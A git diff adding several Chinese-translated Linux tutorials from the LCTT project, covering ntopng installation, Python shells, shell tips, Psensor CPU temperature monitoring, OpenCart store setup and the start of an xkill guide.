+Ntopng是一个基于网页的高速通信分析器和流量收集器。Ntopng基于ntop,它运行于所有Unix平台、MacOS X和Windows。 + +### 特性 ### + +从[ntopng网站][2]上,我们可以看到他们说它有众多的特性。这里列出了其中一些: + +- 按各种协议对网络通信排序 +- 显示网络通信和IPv4/v6的激活主机 +- 持续不断以RRD格式存储定位主机的通信数据到磁盘 +- 通过nDPI,ntop的DPI框架,发现应用协议 +- 显示各种协议间的IP通信分布 +- 分析IP通信,并根据源/目的地址进行排序 +- 显示IP通信子网的矩阵(谁在和谁通信?) +- 报告按协议类型排序的IP协议使用率 +- 生成HTML5/AJAX网络通信数据 + +### 安装的先决条件 ### + +Ntop为CentOS和**基于64位**Ubuntu预编译好了包,你可以在[它们的下载页面][3]找到这些包。对于32位操作系统,你必须从源代码编译。本文在**CentOS 6.4 32位**版本上**测试过**。但是,它也可以在其它基于CentOS/RedHat的Linux版本上工作。让我们开始吧。 + +#### 开发工具 #### + +你必须确保你安装了编译ntopng所需的所有开发工具,要安装开发工具,你可以使用yum命令: + + # yum groupinstall ‘Development Tools’ + +#### 安装TCL #### + + # yum install tcl + +#### 安装libpcap #### + + # yum install libpcap libcap-devel + +#### 安装Redis #### + + # wget http://redis.googlecode.com/files/redis-2.6.13.tar.gz + # tar zxfv redis-2.6.13.tar.gz + # cd redis-2.6.13 + # make 32bit + # make test + # make install + +### 安装ntopng ### + +#### 方法 1 : #### + + # wget http://sourceforge.net/projects/ntop/files/ntopng/ntopng-1.1_6932.tgz/download + # tar zxfv ntopng-1.1_6932.tgz + # cd ntopng-1.1_6932 + # ./configure + # make + # make install + +#### 方法 2 : #### + +在我的CentOS 6.4上,我使用方法 1时收到了一个错误消息,错误消息内容如下: + + ./third-party/LuaJIT-2.0.2/src/libluajit.a : could not read symbols : File in wrong format + +所以,我**切换**到了**SVN**来安装。对于此方法,需要联网,步骤如下: + + # svn co https://svn.ntop.org/svn/ntop/trunk/ntopng/ + # ./autogen.sh + # ./configure + # make + # make install + +*由于ntopng是一个基于网页的应用,你的系统必须安装有工作良好的 Web 服务器* + +### 为ntopng创建配置文件 ### + +如果一切都已安装完毕,那么我们该来运行它了。默认情况下,如果我们在./configure这一步没有明确修改安装文件夹的话,redis和ntopng将安装到/usr/local/文件夹。接下来,我们需要为ntopng创建配置文件。在本文中,我们使用vi作为文本编辑器。你也可以使用你所中意的文本编辑器来创建ntopng的配置文件。 + + # cd /usr/local/etc + # mkdir ntopng + # cd ntopng + # vi ntopng.start + +放入这些行: + + --local-network "10.0.2.0/24" + --interface 1 + +--- + # vi ntopng.pid + +放入该行: + + -G=/var/run/ntopng.pid + +保存这些文件,然后继续下一步。 + +### 运行ntopng ### + +我们假定你已正确安装了网络服务器,那么下一步就是运行redis服务器。 + + # /usr/local/bin/redis-server + +![Starting Redis Server](http://blog.linoxide.com/wp-content/uploads/2013/11/redis-server-start.png) + +然后,**运行**ntopng + + # /usr/local/bin/ntopng + +![Starting Ntopng](http://blog.linoxide.com/wp-content/uploads/2013/11/ntopng-start.png) + +### 测试ntopng ### + +现在,你可以通过访问[http://yourserver.name:3000][4]来测试ntopng应用,你将会看到ntopng登录页面。首次登录,你可以使用用户‘**admin**’和密码‘**admin**’。 + +![Ntop Login page](http://blog.linoxide.com/wp-content/uploads/2013/11/ntopng_login.png) + +仪表盘相当简洁。当你登入后,你将看到关于最高流量通信者页面。 + +![Ntopng Flow Talker](http://blog.linoxide.com/wp-content/uploads/2013/11/ntopng_talkers.png) + +如果你点击右侧顶部的**流量菜单**,ntopng将会显示活动流量的更多细节。 + +![Ntopng Flows](http://blog.linoxide.com/wp-content/uploads/2013/11/ntopng_flows.png) + +在**主机菜单**上,你可以看到连接到流的所有主机。 + +![Ntopng Hosts List](http://blog.linoxide.com/wp-content/uploads/2013/11/ntopng_hoslist.png) + +如果你点击**主机 > 交互**,ntop将显示一个漂亮的主机间的交互信息图表。 + +![Ntopng Hosts Interaction](http://blog.linoxide.com/wp-content/uploads/2013/11/ntopng_hosts_interaction.png) + +**仪表盘菜单**组成部分: + +#### 顶级主机(发送+接收) #### + +![Ntopng Hosts](http://blog.linoxide.com/wp-content/uploads/2013/11/ntopng_hosts.png) + +#### 顶级应用协议 #### + +![Ntopng Apps](http://blog.linoxide.com/wp-content/uploads/2013/11/ntopng_apps.png) + +**界面菜单**将引领你进入更多内部菜单。包菜单将给你显示包的大小分布。 + +![Ntopng packets](http://blog.linoxide.com/wp-content/uploads/2013/11/ntopng_packets.png) + +**协议菜单**将为你显示使用了多少协议及其使用百分比。 + +![Ntopng protocol](http://blog.linoxide.com/wp-content/uploads/2013/11/ntopng_protocol.png) + +![Ntopng protocols - detail](http://blog.linoxide.com/wp-content/uploads/2013/11/ntopng_protocol_detail.png) + +你也可以通过使用**历史活跃度菜单**查看活跃度。 + +![Ntopng Historical Activity](http://blog.linoxide.com/wp-content/uploads/2013/11/ntopng_historical.png) + +![Ntopng Historical Activity detail](http://blog.linoxide.com/wp-content/uploads/2013/11/ntopng_historical_detail.png) + +最后一项要点是,你也可以通过顶部右侧区域的**设置菜单**(齿轮图标的那一个)管理哪些用户可以访问ntopng。 + +![Ntopng Users](http://blog.linoxide.com/wp-content/uploads/2013/11/ntopng_users.png) + +Ntopng为你提供了一个范围宽广的时间线,从5分钟到1年都可以。你只需要点击你想要显示的时间线。图表本身是可以点击的,你可以点击它来进行缩放。 + +当然,ntopng能做的事比上面图片中展示的还要多得多。你也可以将定位和电子地图服务整合进来。在ntopng自己的网站上,有已付费的模块可供使用,如nprobe可以扩展ntopng可以提供给你的信息。更多关于ntopng的信息,你可以访问[ntopng网站][5]。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/monitoring-2/ntopng-network-monitoring-tool/ + +作者:[Pungki Arianto][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/pungki/ +[1]:http://en.wikipedia.org/wiki/Ntop +[2]:http://www.ntop.org/products/ntop/ +[3]:http://www.nmon.net/packages/ +[4]:http://yourserver.name:3000/ +[5]:http://www.ntop.org/ diff --git a/published/201506/20150527 3 Open Source Python Shells.md b/published/201506/20150527 3 Open Source Python Shells.md new file mode 100644 index 0000000000..86c6b7ee96 --- /dev/null +++ b/published/201506/20150527 3 Open Source Python Shells.md @@ -0,0 +1,102 @@ +3个开源的Python Shell +========================================================================= + +Python是一个高级、通用、结构化且强大的开源编程语言,广泛用于各种编程工作。它拥有一个全动态类型系统和自动内存管理,与Scheme,Ruby,Perl和Tcl的十分相似,避免编译型语言的许多复杂地方和难以理解。Python于1991年由Guido van Rossum创造,然后逐渐成长,流行。 + +Python是一个非常实用,而且流行的计算机编程语言。使用一个如Python这样的解释型语言的好处之一就是,可以借助其交互的shell探索式地编程。你可以试着代码,而不必专门写一个脚本。但是Python shell也有一些局限性。基本来说,有许多很漂亮的Python shell可选择,都是在基础shell上扩展的。他们每一个都提供了一个极好的交互性的Python 体验。 + +### bpython ### + +![](http://www.linuxlinks.com/portal/content/reviews/Programming/Screenshot-bpython.png) + +对于Linux,BSD,OS X和Windows来说,bpython是一个不错的Python解释器的界面。 + +其想法是提供给用户所有的内置功能,很像现在的IDE(集成开发环境),但是是在一个简单,轻量级的包里,可以在终端窗口里面运行。 + +bpython并不追求创造任何新的或者开创性的东西。相反,它聚集了一些简洁的理念,关注于实用性和操作性。 + +功能包括: + +- 内置的语法高亮 - 使用Pygments排版你敲出的代码,并合理配色 +- 根据你的行为,显示自动补全的建议 +- 为任何Python函数列出所期望的参数 - 可以显示你调用的任何函数的参数列表 +- “Rewind”功能会调出内存里的最后一行代码并重新执行 +- 可以将你输入的代码送到pastebin +- 可以将你输入的代码保存到一个文件 +- 自动缩进 +- 支持Python 3 + +--- + +- 网址: [www.bpython-interpreter.org][1] +- 开发者: Bob Farrell and contributors +- 证书: MIT License +- 版本号: 0.14.1 + +### IPython ### + +![](http://www.linuxlinks.com/portal/content/reviews/Programming/Screenshot-ipython.png) + +IPython是Python shell的一个交互加强版。她提供了一个丰富的工具集合,帮助你交互式地充分利用Python。 + +IPython可以用来取代标准的Python shell,也可以与标准Python科学和数值处理工具配合,用做一个科学计算(如Matlab或者Mathematical)的完整工作环境。她支持动态对象内省,有限的输入/输出提示,一个宏系统,会话日志,会话恢复,访问完整的系统外壳,详尽且彩色的追踪报告,自动圆括号补全,自动引号补全和可嵌入其他Python程序。 + +功能包括: + +- 强大的交互Shell(基于终端或者Qt) +- 一个基于浏览器的记事本,支持代码,富文本,数学表达式,内置图表和其他富媒介。 +- 支持交互式的数据可视化和使用GUI工具箱 +- 灵活,嵌入式的解释器可以加载进你自己的项目里 +- 易于使用,高效的并行运算工具 + +--- + +- 网址: [ipython.org][2] +- 开发者: The IPython Development Team +- 证书: BSD +- 版本号: 3.1 + +### DreamPie ### + +![](http://www.linuxlinks.com/portal/content/reviews/Programming/Screenshot-DreamPie.png) + +DreamPie是一个为可靠性和趣味性设计的Python shell。 + +DreamPie可以用于任何Python解释器(Jython,IronPython,PyPy)。 + +功能包括: + +- 一个新式的交互shell:窗口被分成历史区域和代码区域,历史区域可以让你看到之前的命令及其输出,代码区域是里敲代码的地方。这样,你可以编辑任意多的代码,就好像在你最喜欢的编辑器里一样,并且适当时候可以执行它。你也可以从其他地方复制代码,编辑并马上运行它 +- “只复制代码”命令可以复制你想要的代码,以便你可以把它存入一个文件。代码已经用四个空格缩进进行格式化 +- 自动补全属性和文件名字 +- 自动显示函数参数和文档 +- 在结果历史中保存你最近的结果,备以后用 +- 可以自动折叠很长的输出,以便你可以专注于重要的地方 +- 保存会话的历史记录为一个HTML文件,备以后查询。你可以加载历史文件到DreamPie里,并且快速重复之前的命令。 +- 自动添加圆括号与可选的引号,当你在函数与方法后按下空格键。例如,键入execfile后按下空格会提示execfile("fn") +- 支持交互的matplotlib绘图 +- 支持Python 2.5,Python 2.6,Python 3.1,Jython 2.5,IronPython 2.6和PyPy +- 难以置信的快速反应 + +--- + +- 网址: [www.dreampie.org][3] +- 开发者: Noam Yorav-Raphael +- 证书: GNU GPL v3 +- 版本号: 1.2.1 + +-------------------------------------------------------------------------------- + +via: http://www.linuxlinks.com/article/20150523032756576/PythonShells.html + +作者:Frazer Kline +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[1]:http://www.bpython-interpreter.org/ +[2]:http://ipython.org/ +[3]:http://www.dreampie.org/ + +-------------------------------------------------------------------------------- diff --git a/published/201506/20150527 3 Useful Hacks Every Linux User Must Know.md b/published/201506/20150527 3 Useful Hacks Every Linux User Must Know.md new file mode 100644 index 0000000000..f4da7cf24b --- /dev/null +++ b/published/201506/20150527 3 Useful Hacks Every Linux User Must Know.md @@ -0,0 +1,79 @@ +Linux 用户的 3 个命令行小技巧 +================================================================================ +Linux世界充满了乐趣,我们越深入进去,就会发现越多有趣的事物。我们会努力给你提供一些小技巧,让你和其他人有所不同,下面就是我们准备的3个小技巧。 + +### 1. 如何在不使用Cron的情况调度Linux下的任务 ### + +在Linux下,调度一个任务/命令称之为Cron。当我们需要调度一个任务时,我们会使用Cron,但你知道我们在不使用Cron的情况也可以调度一个在将来时间运行的任务吗?你可以按照如下建议操作…… + +每5秒钟运行一个命令(date)然后将结果写入到一个文件(data.txt)。为了实现这一点,我们可以直接在命令提示符运行如下单行脚本。 + + $ while true; do date >> date.txt ; sleep 5 ; done & + +上述脚本的解释: + +- `while true` :让脚本进入一个条件总为真的循环中,也就是制造一个死循环,将里边的命令一遍遍地重复运行。 +- `do` :`do`是`while`语句中的关键字,它之后的命令会被执行,在它后边可以放置一个或一系列命令。 +- `date >> date.txt` :运行date命令,并将其输出写入到data.txt文件中。注意我们使用`>>`,而不是`>`。 +- `>>` :对文件(date.txt)进行追加写的操作,这样每次运行命令后,输出内容会被追加到文件中。如果使用`>`的话,则会一遍遍地覆盖之前的内容。 +- `sleep 5` :让脚本处于5秒睡眠状态,然后再运行之后的命令。注意这里的时间单位只能用秒。也就是说如果你想让命令每6分钟运行一次,你应该使用`sleep 360`。 +- `done` :`while`循环语句块结束的标记。 +- `&` :将整个进程放到后台运行。 + +类似地,我们可以这样运行任何脚本。下边的例子是每100秒运行一个名为`script_name.sh`的脚本。 + +另外值得一提的是上面提到的脚本文件必须处于当前目录中,否则需要使用完整路径(`/home/$USER/…/script_name.sh`)。实现如上功能的单行脚本如下: + + $ while true; do /bin/sh script_name.sh ; sleep 100 ; done & + +**总结**:上述的单行脚本并不是Cron的替代品,因为Cron工具支持众多选项,更加灵活,可定制性也更高。然而如果我们想运行某些测试,比如I/O评测,上述的单行脚本也管用。 + +还可以参考:[Linux 下 11 个定时调度任务例子][1] + +### 2. 如何不使用clear命令清空终端的内容 ### + +你如何清空终端的内容?你可能会认为这是一个傻问题。好吧,大家都清楚可以使用`clear`命令。如果养成使用`ctrl + l`快捷键的习惯,我们会节省大量时间。 + +`Ctrl + l`快捷键的效果和`clear`命令一样。所以下一次你就可以使用`ctrl + l`来清空终端的内容了。 + +**总结**:因为`ctrl + l`是一个快捷键,我们不可以在脚本中使用。所以如果我们需要在脚本中清空屏幕内容,还是需要使用`clear`命令。但我能想到的所有其他情况,`ctrl + l`都更加有效。 + +### 3. 在其它目录运行一个命令,然后自动返回当前工作目录 ### + +这是一个很多人可能不知道的令人吃惊的技巧。你可能想在其它目录运行任何一个命令,然后再回到当前目录。要实现这样的目的,你只需要将命令放在一个圆括号里。 + +我们来看一个例子: + + avi@deb:~$ (cd /home/avi/Downloads/) + +示例输出: + + avi@deb:~ + +它首先会cd到Downloads目录,然后又回到了之前的家目录。也许你认为里边的命令根本没有执行,或者是出了某种错误,因为从命令提示符看不出任何变化。让我们简单修改一下这个命令: + + avi@deb:~$ (cd /home/avi/Downloads/ && ls -l) + +示例输出: + + -rw-r----- 1 avi avi 54272 May 3 18:37 text1.txt + -rw-r----- 1 avi avi 54272 May 3 18:37 text2.txt + -rw-r----- 1 avi avi 54272 May 3 18:37 text3.txt + avi@deb:~$ + +在上述命令中,它首先进入Downloads目录,然后列出文件内容,最后又回到了当前目录。并且它证明了命令成功执行了。你可以在括号中包含任何命令,执行完都会顺利返回到当前目录。 + +这就是全部内容了,如果你知道任何类似的Linux技巧,你可以在文章下面的评论框中分享给我们,不要忘记将本文和朋友分享 :) + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/useful-linux-hacks-commands/ + +作者:[Avishek Kumar][a] +译者:[goreliu](https://github.com/goreliu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/11-cron-scheduling-task-examples-in-linux/ \ No newline at end of file diff --git a/published/201506/20150527 How To Check Laptop CPU Temperature In Ubuntu.md b/published/201506/20150527 How To Check Laptop CPU Temperature In Ubuntu.md new file mode 100644 index 0000000000..c158770b3f --- /dev/null +++ b/published/201506/20150527 How To Check Laptop CPU Temperature In Ubuntu.md @@ -0,0 +1,83 @@ +如何在Ubuntu中检查笔记本CPU的温度 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/05/Monitor_temperature_Ubuntu.png) + +夏天到了,笔记本过热是最近一个常见的问题。监控硬件温度或许可以帮助你诊断笔记本为什么会过热。本篇中,我们会**了解如何在Ubuntu中检查CPU的温度**。 + +我们将使用一个GUI工具[Psensor][1],它允许你在Linux中监控硬件温度。用Psensor你可以: + +- 监控cpu和主板的温度 +- 监控NVidia GPU的文档 +- 监控硬盘的温度 +- 监控风扇的速度 +- 监控CPU的利用率 + +Psensor最新的版本同样提供了Ubuntu中的指示小程序,这样使得在Ubuntu中监控温度变得更加容易。你可以选择在面板的右上角显示温度。它还会在温度上过阈值后通知。 + + +### 如何在Ubuntu 15.04 和 14.04中安装Psensor ### + +在安装Psensor前,你需要安装和配置[lm-sensors][2],这是一个用于硬件监控的命令行工具。如果你想要测量磁盘温度,你还需要安装[hddtemp][3]。要安装这些工具,运行下面的这些命令: + + sudo apt-get install lm-sensors hddtemp + +接着开始检测硬件传感器: + + sudo sensors-detect + +要确保已经工作,运行下面的命令: + + sensors + +它会给出下面这样的输出: + + acpitz-virtual-0 + Adapter: Virtual device + temp1: +43.0°C (crit = +98.0°C) + + coretemp-isa-0000 + Adapter: ISA adapter + Physical id 0: +44.0°C (high = +100.0°C, crit = +100.0°C) + Core 0: +41.0°C (high = +100.0°C, crit = +100.0°C) + Core 1: +40.0°C (high = +100.0°C, crit = +100.0°C) + +如果一切看上去没问题,使用下面的命令安装Psensor: + + sudo apt-get install psensor + +安装完成后,在Unity Dash中运行程序。第一次运行时,你应该配置Psensor该监控什么状态。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/05/Psensor_Ubuntu.jpeg) + +### 在面板显示温度 ### + +如果你想要在面板中显示温度,进入**Sensor Preferences**: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/05/Psensor_Ubuntu_1.jpeg) + +在 **Application Indicator** 菜单下,选择你想要显示温度的组件并勾上 **Display sensor in the label** 选项。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/05/Psensor_Ubuntu_2.jpeg) + +### 每次启动启动Psensor ### + +进入 **Preferences->Startup** 并选择 **Launch on session startup** 使每次启动时启动Psensor。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/05/Psensor_Ubuntu_3.jpeg) + +就是这样。你所要做的就是在这里监控CPU温度。你可以时刻注意并帮助你找出使计算机过热的进程。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/check-laptop-cpu-temperature-ubuntu/ + +作者:[Abhishek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://wpitchoune.net/blog/psensor/ +[2]:http://www.lm-sensors.org/ +[3]:https://wiki.archlinux.org/index.php/Hddtemp diff --git a/published/201506/20150527 How to Create Own Online Shopping Store Using 'OpenCart' in Linux.md b/published/201506/20150527 How to Create Own Online Shopping Store Using 'OpenCart' in Linux.md new file mode 100644 index 0000000000..e726ca1100 --- /dev/null +++ b/published/201506/20150527 How to Create Own Online Shopping Store Using 'OpenCart' in Linux.md @@ -0,0 +1,226 @@ +如何在linux中用“OpenCart”创建自己的在线商店 +================================================================================ +在网络世界我们可以用电脑做所有事情,电子商务(e-commerce)即是其中之一。电子商务并不是什么新鲜事,它起源于早期的阿帕网,当时就出现了麻省理工学院和斯坦福大学人工智能实验室的学生之间的交易。 + +近些年出现了上百家电子商务网站,如 Flipcart, eBay, Alibaba, Zappos, IndiaMART, Amazon, 等等。你想做一个自己的亚马逊和Flipcart这样的基于web的应用程序服务器吗?如果是!这个文章正适合你。 + +Opencart是一个免费开源的使用PHP语言编写的电子商务程序,它可以用来架设一个类似于亚马逊和Flipcart的购物车系统。如果你想在线卖你的产品或想在关门时为你的客户提供服务,Opencart就是给你准备的。你可以使用可靠和专业Opencart应用程序建立一个成功的网上商店(网上商家)。 + +### OpenCart 网页面板演示 ### + +- 商店前端 – [http://demo.opencart.com/][1] +- 管理登录 – [http://demo.opencart.com/admin/][2] + +-- + ------------------ 管理登录 ------------------ + + 用户名: demo + 密码: demo + +#### Opencart的特点 #### + +Opencart是一个符合所有在线商家需求的应用程序。它具备您用来制作自己的电子商务网站的所有特性(见下文)。 + +- 它是一个免费(如啤酒般免费)而开源(如言论般自由)的应用,在GNU GPL许可下发布。 +- 每个东西都有完善的文档,你不需要到谷歌喊救命。 +- 任意时间的支持和更新。 +- 支持无限数量的类别、产品和制造商。 +- 一切都是基于模板的。 +- 支持多语言和多币种。它确保你的产品遍及全球。 +- 内置产品评论和评级功能。 +- 支持可下载的产品(即电子书)。 +- 支持自动缩放图像。 +- 类似多税率(许多国家都是这样)、查看相关产品、资料页、装船重量计算,使用折扣优惠券,等等功能默认都有了。 +- 内置的备份和恢复工具。 +- 搜索引擎优化做的很好。 +- 发票打印、错误日志和销售报告等都做的很好。 + +#### 系统需求 #### + +- Web 服务器 (首选 Apache HTTP服务器) +- PHP (5.2 或以上) +- 数据库 (首选MySQL,但是我这里用的是MariaDB) + +#### PHP需要的库和模块 #### + +这些扩展必须在您的系统上安装并启用,才能确保Opencart正确安装在web服务器上 + +- Curl +- Zip +- Zlib +- GD Library +- Mcrypt +- Mbstrings + +### 第一步: 安装 Apache、 PHP 和 MariaDB ### + +1. 像我说的,OpenCart需要一定的技术要求,比如在系统上安装Apache,PHP扩展和数据库(MySQL或MariaDB),才能正常运行Opencart。 + + 让我们使用命令行安装Apache,PHP和MariaDB。 + + **安装 Apache** + + # apt-get install apache2 (在基于Debian系统上) + # yum install httpd (在基于RedHat系统上) + + **安装 PHP and Extensions** + + # apt-get install php5 libapache2-mod-php5 php5-curl php5-mcrypt (在基于Debian系统上) + # yum install php php-mysql php5-curl php5-mcrypt (在基于RedHat系统上) + + **安装 MariaDB** + + # apt-get install mariadb-server mariadb-client (在基于Debian系统上) + # yum install mariadb-server mariadb (在基于RedHat系统上) + +2. 在安装所有需要上面的东西后,你可以使用如下命令启动 Apache 和 MariaDB 服务。 + + ------------------- 在基于Debian系统上 ------------------- + # systemctl restart apache2.service + # systemctl restart mariadb.service + + -- + ------------------- 在基于RedHat系统上 ------------------- + # systemctl restart httpd.service + # systemctl restart mariadb.service + +### 第二步:下载和设置 OpenCart ### + +3. 最新版本的OpenCart(2.0.2.0)可以从[OpenCart 网站][3]下载,或直接从github获得。 + + 作为一种选择,你可以使用wget命令直接从github库下载最新版本的OpenCart,如下所示。 + + # wget https://github.com/opencart/opencart/archive/master.zip + +4. 下载压缩文件后,拷贝到Apache工作目录下(例如/var/www/html)然后解压缩master.zip文件。 + + # cp master.zip /var/www/html/ + # cd /var/www/html + # unzip master.zip + +5. 提取‘master.zip’文件后,切换到提取目录下,然后移动upload目录到应用程序的根文件夹(opencart-master) + + # cd opencart-master + # mv -v upload/* ../opencart-master/ + +6. 现在需要重命名或复制OpenCart配置文件,如下所示。 + + # cp /var/www/html/opencart-master/admin/config-dist.php /var/www/html/opencart-master/admin/config.php + # cp /var/www/html/opencart-master/config-dist.php /var/www/html/opencart-master/config.php + +7. 下一步,设置/var/www/html/opencart-master的文件和文件夹正确的权限。您需要提供RWX权限给文件和文件夹,用递归方式。 + + # chmod 777 -R /var/www/html/opencart-master + + **重要**: 设置权限777可能是危险的,所以一旦你完成所有设置,递归恢复755权限到上层的文件夹。 + +### 第三步: 创建 OpenCart 数据库 ### + +8. 下一步是给你的电子商务网站创建一个数据库(比如叫做 opencartdb)来存储数据。连接到数据库服务器并创建一个数据库和用户,并授予用户正确的权限以完全控制该数据库。 + + # mysql -u root -p + CREATE DATABASE opencartdb; + CREATE USER 'opencartuser'@'localhost' IDENTIFIED BY 'mypassword'; + GRANT ALL PRIVILEDGES ON opencartdb.* TO 'opencartuser'@'localhost' IDENTIFIED by 'mypassword'; + +### 第四步: OpenCart 网站安装 ### + +9. 一旦所有设置正确,到web浏览器地址栏输入`http://`访问OpenCart web安装。 + + 点击“继续”,同意许可证协议。 + + ![Accept OpenCart License](http://www.tecmint.com/wp-content/uploads/2015/05/OpenCart-License.png) + + *同意OpenCart许可证* + +10. 下一个屏幕是安装前服务器设置检查,查看服务器所需的所有模块是否安装正确并且有OpenCart文件的权限。 + + 如果在第1和2区域有红色标志突出显示,这意味着你需要在服务器上正确安装这些组件满足web服务器的要求。 + + 如果在第3和4区域有红色标志突出显示,这意味着你的文件有问题。如果一切正确配置您应该看到所有都是绿色标志(见下面),你可以按“继续”。 + + ![Server Requirement Check](http://www.tecmint.com/wp-content/uploads/2015/05/Server-Checkup.png) + + *服务器需求检查* + +11. 在下一个屏幕上输入数据库凭证信息,如数据库驱动类型、主机名、用户名、密码、数据库。你不应该改动数据库端口和前缀,除非你知道你在做什么。 + + 另外输入管理员账号的用户名、密码和邮箱地址。注意这些凭证将用于管理员登录到Opencart管理面板,所以保证它的安全。完成后单击继续! + + ![OpenCart Database Details](http://www.tecmint.com/wp-content/uploads/2015/05/OpenCart-Database.png) + + *OpenCart数据库详情* + +12. 下一个屏幕显示的信息如“Installation Complete”和“Ready to Start Selling”。这里还警告说,要记得删除安装目录,所有需要这个目录安装的设置已经完成。 + + ![OpenCart Installation Completes](http://www.tecmint.com/wp-content/uploads/2015/05/OpenCart-Installation-Completes.png) + + *OpenCart安装完成* + + 删除安装目录,你可以执行下面的命令。 + + # rm -rf /var/www/html/opencart-master/install + +### 第四步: 进入OpenCart 及其管理界面 ### + +13. 现在打开浏览器到`http:///opencart-master/`然后你会看到类似下面的截屏。 + + ![OpenCart Product Showcase](http://www.tecmint.com/wp-content/uploads/2015/05/OpenCart.jpg) + + *OpenCart产品示例* + +14. 要登录到Opencart管理面板,你需要浏览`http:///opencart-master/admin`然后填写之前设置的凭证。 + + ![OpenCart Admin Login](http://www.tecmint.com/wp-content/uploads/2015/05/OpenCart-Admin-Login.png) + + *OpenCart管理登录* + +15. 如果全部OK你应该可以看到Opencart的控制台。 + + ![OpenCart Dashboard](http://www.tecmint.com/wp-content/uploads/2015/05/OpenCart-Dashboard.png) + + *OpenCart控制台* + + 在管理控制台可以设置很多选项,如类别、产品、选择、制造商、下载、评论、信息、扩展安装、运输、付款选项、订单总数、礼品券、贝宝、优惠券、子公司、营销、邮件、设计风格和设置、错误日志、内置分析等等。 + +#### 测试了这个工具之后呢? #### + +如果您已经测试了这个应用程序,就会发现它可定制、灵活、稳定、易于维护和使用,您可能需要一个好的主机托管提供商托管你的OpenCart应用,以便保持24 x7的在线支持。尽管有很多选择,我们建议Hostgator主机提供商。(广告硬植-.-!,以下硬广和 LCTT 无关~) + +Hostgator是以服务和功能出名的域名注册和虚拟机托管提供商。它为你提供无限的磁盘空间、无限带宽、易于安装(一键安装脚本)、99.9%的正常运行时间、荣获24x7x365技术支持和45天退款保证,这意味着如果你不喜欢这个产品和服务就可以在45天内拿回你的采购费,注意这45天是一个长的测试时间。 + +所以如果你有什么想卖的你可以免费地去做了(我的意思是免费,想想你会花在实体存储上的费用,然后比较其与建设虚拟商店的成本。你就会感受到它的免费了)。 + +**注**: 当你从Hostgator购买虚拟主机(和/或域名)你将获得一个**25%折扣**。这只提供给Tecmint网站的读者。 + +你所要做的就是在购买虚拟机支付时输入优惠码“**TecMint025**”。付款预览截屏优惠码以供参考用。 + +![Hostgator 25% Discount - TecMint025](http://www.tecmint.com/wp-content/uploads/2015/05/Hostgator-Discount-Code.png) + +*[注册 Hostgator][4] (折扣码: TecMint025)* + +**注**: 还值得一提的,每个你从Hostgator购买的托管OpenCart的虚拟机,我们将得到少量的佣金,只是为了保持Tecmint存活 (通过支付带宽和托管服务器)。 + +所以如果你使用上面的代码买它,你得到折扣,我们会得到少量收入。还要注意,你不会支付任何额外的费用,事实上你支付的账单总额将减少25%。 + +### 总结 ### + +OpenCart是一个开箱可用的应用。它易于安装,您可以选择选择最适合的模板,添加你的产品然后你就成为了一个在线店主。 + +很多社区开发的扩展(有免费和付费的)使它变得丰富。这是一个给那些想要建立一个保持24X7小时用户可访问的虚拟商店的美妙应用。让我们知道你对这个应用程序的体验吧。欢迎任何建议和反馈。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/create-e-commerce-online-shopping-store-using-opencart-in-linux/ + +作者:[Avishek Kumar][a] +译者:[wyangsun](https://github.com/wyangsun) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://demo.opencart.com/ +[2]:http://demo.opencart.com/admin/ +[3]:http://www.opencart.com/index.php?route=download/download/ +[4]:http://secure.hostgator.com/%7Eaffiliat/cgi-bin/affiliates/clickthru.cgi?id=tecmint diff --git a/published/201506/20150527 How to Kill Linux Processes or Unresponsive Applications Using 'xkill' Command.md b/published/201506/20150527 How to Kill Linux Processes or Unresponsive Applications Using 'xkill' Command.md new file mode 100644 index 0000000000..91127c7e74 --- /dev/null +++ b/published/201506/20150527 How to Kill Linux Processes or Unresponsive Applications Using 'xkill' Command.md @@ -0,0 +1,93 @@ +如何使用xkill命令杀掉Linux进程/未响应的程序 +================================================================================ + +我们如何在Linux中杀掉一个资源/进程?很明显我们会找出资源的pid然后用kill命令。 + +说的更明白一点,我们可以找到某个资源(比如terminal)的PID: + + $ ps -A | grep -i terminal + + 6228 ? 00:00:00 gnome-terminal + +上面的输出中,‘6288’就是进程(gnome-terminal)的pid, 使用下面的命令来杀掉进程。 + + $ kill 6228 + +kill命令会发送一个信号给该pid的进程。 + +另外一个方法是我们可以使用pkill命令,它可以基于进程的名字或者其他的属性来杀掉进程。同样我们要杀掉一个叫terminal的进程可以这么做: + + $ pkill terminal + +**注意**: pkill命令后面进程名的长度不大于15个字符 + +pkill看上去更加容易上手,因为你你不用找出进程的pid。但是如果你要对系统做更好的控制,那么没有什么可以打败'kill'。使用kill命令可以更好地审视你要杀掉的进程。 + +我们已经有一篇覆盖了[kill、pkill和killall命令][1]细节的指导了。 + +对于那些运行X Server的人而言,有另外一个工具称为xkill可以将进程从X Window中杀掉而不必传递它的名字或者pid。 + 